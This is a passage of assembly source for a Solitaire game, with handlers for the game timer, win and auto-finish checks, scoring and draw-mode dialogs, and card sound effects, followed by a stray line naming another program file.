BY: PASS: nothing CHANGES: RETURN: carry set if user has won the game DESTROYED: ax, bx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDonor method SolitaireClass, MSG_GAME_SET_DONOR ; ; see if the donor is the talon ; cmp dx, offset MyTalon jne callSuper ; ; It is the talon. Check for any face down cards in the ; tableau. ; mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage callSuper: ; ; Call super class ; mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_SET_DONOR call ObjCallSuperNoLock ; ; Queue a MSG_SOLITAIRE_CHECK_FOR_WINNER so that once this transfer ; is over, we can see whether or not the user has won. ; mov bx, ds:[LMBH_handle] mov ax, MSG_SOLITAIRE_CHECK_FOR_WINNER mov di, mask MF_FIXUP_DS or mask MF_FORCE_QUEUE call ObjMessage ret SolitaireSetDonor endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireLostSysTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to pause the timer. CALLED BY: MSG_META_LOST_SYS_TARGET_EXCL PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 6/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireLostSysTargetExcl method dynamic SolitaireClass, MSG_META_LOST_SYS_TARGET_EXCL .enter ; ; See if time is on... ; cmp ds:[di].KI_timeStatus, TIME_ON jne callSuper ; ; If the timer is going, set the time status to TIME_PAUSED ; and nuke the timer (it will be restarted in SolitaireVisOpen). ; mov ds:[di].KI_timeStatus, TIME_NOT_ACTIVE clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz callSuper clr ax ; 0 => continual call TimerStop callSuper: mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_META_LOST_SYS_TARGET_EXCL call ObjCallSuperNoLock .leave ret SolitaireLostSysTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGainedSysTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to Unpause the timer. CALLED BY: MSG_META_GAINED_SYS_TARGET_EXCL PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data es = segment of SolitaireClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 6/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGainedSysTargetExcl method dynamic SolitaireClass, MSG_META_GAINED_SYS_TARGET_EXCL .enter mov di, offset SolitaireClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_NOT_ACTIVE jne done ; ; Start the timer ; mov ds:[di].KI_timeStatus, TIME_ON mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ;Timer Type clr cx ;no delay before starting mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send? mov di, ONE_SECOND ;how often? call TimerStart ; ; Keep the timer handle around so we can stop it later ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timerHandle, bx done: .leave ret SolitaireGainedSysTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireLostSysFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to pause the timer. CALLED BY: MSG_META_LOST_SYS_FOCUS_EXCL PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data es = segment of SolitaireClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 9/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireLostSysFocusExcl method dynamic SolitaireClass, MSG_META_LOST_SYS_FOCUS_EXCL ; ; See if the timer is ticking. ; cmp ds:[di].KI_timeStatus, TIME_ON jne callSuper ; ; If the timer is going, set the time status to TIME_NOT_ACTIVE ; and nuke the timer. (The timer will be restarted in ; SolitaireGainedSysFocusExcl.) ; mov ds:[di].KI_timeStatus, TIME_NOT_ACTIVE clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz callSuper clr ax ; 0 => continual timer call TimerStop callSuper: mov di, offset SolitaireClass mov ax, MSG_META_LOST_SYS_FOCUS_EXCL call ObjCallSuperNoLock ret SolitaireLostSysFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGainedSysFocusExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Intercepted to unpausee the timer if needed. CALLED BY: MSG_META_GAINED_SYS_FOCUS_EXCL PASS: *ds:si = SolitaireClass object es = segment of SolitaireClass ax = message # RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JW 9/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGainedSysFocusExcl method dynamic SolitaireClass, MSG_META_GAINED_SYS_FOCUS_EXCL ; ; Call superclass first. ; mov di, offset SolitaireClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_NOT_ACTIVE jne done ; ; Start the timer. ; mov ds:[di].KI_timeStatus, TIME_ON mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ; TimerType clr cx ; no delay before starting mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ; method to send mov di, ONE_SECOND ; how often? call TimerStart ; ; Save the timer handle so we can stop it later. ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timerHandle, bx done: ret SolitaireGainedSysFocusExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireVisClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_CLOSE handler for SolitaireClass Makes sure that the timer is no longer running before the game closes visually. CALLED BY: PASS: nothing CHANGES: stops the game timer, if any RETURN: nothing DESTROYED: bx, di PSEUDO CODE/STRATEGY: if timer is on, then stop it call superclass KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireVisClose method SolitaireClass, MSG_VIS_CLOSE ; ; See if time is on... ; cmp ds:[di].KI_timeStatus, TIME_ON jne callSuper ; ; If the timer is going, set the time status to TIME_PAUSED ; and nuke the timer (it will be restarted in SolitaireVisOpen). ; call SolitairePauseTimer callSuper: mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_VIS_CLOSE call ObjCallSuperNoLock ret SolitaireVisClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireStopTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stop the timer. CALLED BY: SolitaireCheckForWinner PASS: *ds:si - SolitaireClass RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jwu 9/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireStopTimer proc near class SolitaireClass uses ax,bx,di .enter mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timeStatus, TIME_STOPPED clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz done clr ax ; 0 => continual timer call TimerStop done: .leave ret SolitaireStopTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitairePauseTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Halts the timer Pass: *ds:si - SolitaireClass Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Mar 16, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitairePauseTimer proc near class SolitaireClass uses ax, bx, di .enter mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_EXPIRED je pauseNotNeeded mov ds:[di].KI_timeStatus, TIME_PAUSED pauseNotNeeded: clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz done clr ax ; 0 => continual call TimerStop done: .leave ret SolitairePauseTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUnpauseTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Unpauses the timer Pass: *ds:si - SolitaireClass Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Mar 16, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUnpauseTimer proc near class SolitaireClass uses ax, bx, cx, dx, di .enter mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_PAUSED jne done ; ; Start the timer ; mov ds:[di].KI_timeStatus, TIME_ON mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ;Timer Type clr cx ;no delay before starting mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send? mov di, ONE_SECOND ;how often? call TimerStart ; ; Keep the timer handle around so we can stop it later ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_timerHandle, bx done: .leave ret SolitaireUnpauseTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireVisOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_OPEN handler for SolitaireClass Checks to see if we need to restart the game timer if it had been previously stopped (in SolitaireVisClose) before opening visually. CALLED BY: PASS: nothing CHANGES: If the time status is initially TIME_PAUSED, then it is changed to TIME_ON and a timer is started. RETURN: nothing DESTROYED: bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireVisOpen method SolitaireClass, MSG_VIS_OPEN mov di, offset SolitaireClass call ObjCallSuperNoLock call SolitaireUnpauseTimer ret SolitaireVisOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireDeckSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DECK_SELECTED handler for SolitaireClass Makes sure the game hasn't been won before letting the superclass do its thing. If the game HAS been won, no more card dragging should be allowed. CALLED BY: PASS: ^lcx:dx = OD of selected deck bp = # of child in composite that was selected CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireDeckSelected method SolitaireClass, MSG_GAME_DECK_SELECTED test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jnz done mov di, offset SolitaireClass call ObjCallSuperNoLock done: ret SolitaireDeckSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireResetScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Resets the score based on the scoring type. CALLED BY: MSG_SOLITAIRE_RESET_SCORE PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- PW 6/ 9/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireResetScore method dynamic SolitaireClass, MSG_SOLITAIRE_RESET_SCORE .enter test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock done: .leave ret gameInProgress: cmp ds:[di].KI_scoringType, ST_NONE je done call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES jne done mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL call ObjCallInstanceNoLock jmp done SolitaireResetScore endm SolitaireNotifyCardFlipped method SolitaireClass, MSG_GAME_NOTIFY_CARD_FLIPPED dec ds:[di].KI_nFaceDownCardsInTableau ja done mov ax, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE call ObjCallInstanceNoLock done: ret SolitaireNotifyCardFlipped endm SolitaireCheckAutoFinishEnable method SolitaireClass, MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE tst ds:[di].KI_nFaceDownCardsInTableau jnz done mov bx, handle MyTalon mov si, offset MyTalon mov ax, MSG_DECK_GET_N_CARDS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage tst cx jnz done mov bx, handle MyHand mov si, offset MyHand mov ax, MSG_DECK_GET_N_CARDS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage tst cx jnz done mov dl, VUM_DELAYED_VIA_APP_QUEUE mov bx, handle NewGameTrigger mov si, offset NewGameTrigger mov ax, MSG_GEN_SET_NOT_USABLE mov di, mask MF_FIXUP_DS call ObjMessage mov bx, handle AutoFinishTrigger mov si, offset AutoFinishTrigger mov ax, MSG_GEN_SET_USABLE mov di, mask MF_FIXUP_DS call ObjMessage done: ret SolitaireCheckAutoFinishEnable endm SolitaireAutoFinish method SolitaireClass, MSG_SOLITAIRE_AUTO_FINISH finishLoop: mov bx, handle TE1 mov si, offset TE1 call DoubleClickIfPossible clr cx ;cx = # of decks with cards jnc tryTE2 inc cx tryTE2: push cx mov bx, handle TE2 mov si, offset TE2 call DoubleClickIfPossible pop cx jnc tryTE3 inc cx tryTE3: push cx mov bx, handle TE3 mov si, offset TE3 call DoubleClickIfPossible pop cx jnc tryTE4 inc cx tryTE4: push cx mov bx, handle TE4 mov si, offset TE4 call DoubleClickIfPossible pop cx jnc tryTE5 inc cx tryTE5: push cx mov bx, handle TE5 mov si, offset TE5 call DoubleClickIfPossible pop cx jnc tryTE6 inc cx tryTE6: push cx mov bx, handle TE6 mov si, offset TE6 call DoubleClickIfPossible pop cx jnc tryTE7 inc cx tryTE7: push cx mov bx, handle TE7 mov si, offset TE7 call DoubleClickIfPossible pop cx jc finishLoop ;if TE7 had a card, loop jcxz done ;if no cards, done jmp finishLoop done: ret SolitaireAutoFinish endm DoubleClickIfPossible proc near mov ax, MSG_DECK_GET_N_CARDS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage clc jcxz done clr bp mov ax, MSG_DECK_CARD_DOUBLE_CLICKED mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage stc done: ret DoubleClickIfPossible endp SolitaireUserRequestsScoringTypeChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE ; ; Set scoring mode ; push si clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov bx, handle ScoringList mov si, offset ScoringList mov di, mask MF_FIXUP_DS call ObjMessage pop si mov di, ds:[si] add di, ds:[di].Game_offset test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress setAndExit: mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock done: ret gameInProgress: cmp cl, ST_NONE je setAndExit call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES mov ax, MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST jne sendMessage mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL sendMessage: call ObjCallInstanceNoLock jmp done SolitaireUserRequestsScoringTypeChange endm SolitaireFixupScoringTypeList method SolitaireClass, MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST mov cl, ds:[di].KI_scoringType clr ch mov bx, handle ScoringList mov si, offset ScoringList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage ret SolitaireFixupScoringTypeList endm SolitaireUserRequestsDrawNumberChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_DRAW_NUMBER_CHANGE test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER call ObjCallInstanceNoLock jmp done gameInProgress: call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES mov ax, MSG_SOLITAIRE_FIXUP_DRAW_LIST jne sendMessage mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL sendMessage: call ObjCallInstanceNoLock done: ret SolitaireUserRequestsDrawNumberChange endm SolitaireFixupDrawNumberList method SolitaireClass, MSG_SOLITAIRE_FIXUP_DRAW_LIST mov cl, ds:[di].KI_drawNumber clr ch mov bx, handle DrawList mov si, offset DrawList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage ret SolitaireFixupDrawNumberList endm SolitaireUserRequestsUserModeChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_USER_MODE_CHANGE test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME jz checkNewGame mov ax, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL call ObjCallInstanceNoLock jmp done checkNewGame: cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET jne gameInProgress mov ax, MSG_GAME_SET_USER_MODE call ObjCallInstanceNoLock jmp done gameInProgress: call SolitairePauseTimer push si mov bx, handle ResetGameConfirmBox mov si, offset ResetGameConfirmBox call UserDoDialog pop si call SolitaireUnpauseTimer cmp ax, IC_YES mov ax, MSG_SOLITAIRE_FIXUP_USER_MODE_LIST jne sendMessage mov ax, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL sendMessage: call ObjCallInstanceNoLock done: ret SolitaireUserRequestsUserModeChange endm SolitaireFixupUserModeList method SolitaireClass, MSG_SOLITAIRE_FIXUP_USER_MODE_LIST mov cl, ds:[di].GI_userMode clr ch mov bx, handle UserModeList mov si, offset UserModeList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage ret SolitaireFixupUserModeList endm SolitaireSetScoringTypeAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock ; ; If it's vegas, then the new game will cost 52, so clear the ; score here ; mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_scoringType, ST_VEGAS jne redealNow clr ds:[di].GI_score redealNow: mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ret SolitaireSetScoringTypeAndRedeal endm SolitaireSetDrawNumberAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ret SolitaireSetDrawNumberAndRedeal endm SolitaireSetUserModeAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL mov ax, MSG_GAME_SET_USER_MODE call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ret SolitaireSetUserModeAndRedeal endm SolitaireDroppingDragCards method SolitaireClass, MSG_GAME_DROPPING_DRAG_CARDS mov di, offset SolitaireClass call ObjCallSuperNoLock jnc checkWait done: ret checkWait: mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING clc jne done mov ax, MSG_SOLITAIRE_CHECK_FOR_WINNER call ObjCallInstanceNoLock clc jmp done SolitaireDroppingDragCards endm SolitaireCheckHilites method SolitaireClass, MSG_GAME_CHECK_HILITES push cx mov ax, MSG_GAME_GET_USER_MODE call ObjCallInstanceNoLock cmp cl, INTERMEDIATE_MODE pop cx jne done mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_CHECK_HILITES call ObjCallSuperNoLock done: ret SolitaireCheckHilites endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGameTransfer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Trap the various transfer events to generate sounds CALLED BY: PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGameTransfer method SolitaireClass, MSG_GAME_TRANSFERRING_CARDS, MSG_GAME_TRANSFER_FAILED ; We can check the message number to determine whether the transfer ; succeeded or failed, and play a different sound for each. cmp ax, MSG_GAME_TRANSFERRING_CARDS jne failed PLAY_SOUND SS_CARD_MOVE_FLIP ; "correctly placing a card on another card" sound jmp done failed: PLAY_SOUND SS_DROP_BAD ; "incorrectly placing a card on another card" sound done: ret SolitaireGameTransfer endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireDeckFlipCard %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Trap the TEx decks' flip card event to generate a sound CALLED BY: PASS: *ds:si = SolitaireDeckClass object ds:di = SolitaireDeckClass instance data RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireDeckFlipCard method SolitaireDeckClass, MSG_CARD_FLIP_CARD ; Play a sound. PLAY_SOUND SS_CARD_MOVE_FLIP ; "flip over a deck card" sound ; Then let the super do its work. mov di, offset SolitaireDeckClass call ObjCallSuperNoLock ret SolitaireDeckFlipCard endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitairePlaySound %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Plays a sound if the game sound is not muted. CALLED BY: PASS: cx = SolitaireSound RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitairePlaySound method SolitaireClass, MSG_SOLITAIRE_PLAY_SOUND uses ax, bx, cx, dx, di, es soundToken local GeodeToken .enter tst ds:[di].KI_muteSound jnz done segmov es, udata, ax cmp cx, SS_DEALING jne cardMoveFlip mov cx, es:[dealingSoundHandle] jmp playFM cardMoveFlip: cmp cx, SS_CARD_MOVE_FLIP jne dropBad mov cx, es:[cardMoveFlipSoundHandle] jmp playFM dropBad: cmp cx, SS_DROP_BAD jne outOfTime mov cx, es:[dropBadSoundHandle] jmp playFM outOfTime: cmp cx, SS_OUT_OF_TIME jne gameWon mov bx, SWIS_OUT_OF_TIME jmp playWav gameWon: cmp cx, SS_GAME_WON jne default mov bx, SWIS_GAME_WON jmp playWav playFM: ; ; Play an FM sound. ; mov ax, SST_CUSTOM_SOUND call UserStandardSound jmp done playWav: ; ; Play a WAV sound. ; ; Retrieve our GeodeToken. segmov es, ss, ax push bx ; save sound number lea di, soundToken mov bx, handle 0 ; bx <- app geode token mov ax, GGIT_TOKEN_ID call GeodeGetInfo ; Play the sound. pop bx ; restore sound number mov cx, es mov dx, di call WavPlayInitSound jmp done default: mov ax, SST_WARNING call UserStandardSound done: .leave ret SolitairePlaySound endm CommonCode ends ;end of CommonCode resource
oeis/104/A104097.asm
neoneye/loda-programs
11
20976
